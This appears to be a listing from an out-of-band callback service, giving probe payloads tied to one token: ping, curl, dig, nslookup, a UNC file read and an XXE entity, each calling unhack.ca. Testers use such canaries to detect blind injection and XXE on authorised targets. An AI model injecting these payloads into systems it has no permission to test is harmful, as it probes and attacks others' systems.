$ ping -c1 -p 007f2d44ec34d25766487a91a570b800 unhack.ca
 

$ curl http://unhack.ca/p/7f2d44ec34d25766487a91a570b8
 

$ dig 7f2d44ec34d25766487a91a570b8 @unhack.ca
 

$ dig 7f2d44ec34d25766487a91a570b8.ns.unhack.ca
 

C:\> nslookup 7f2d44ec34d25766487a91a570b8 unhack.ca
 

C:\> type \\unhack.ca\7f2d44ec34d25766487a91a570b8\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7f2d44ec34d25766487a91a570b8">]>
    <foo>&xxe;</foo>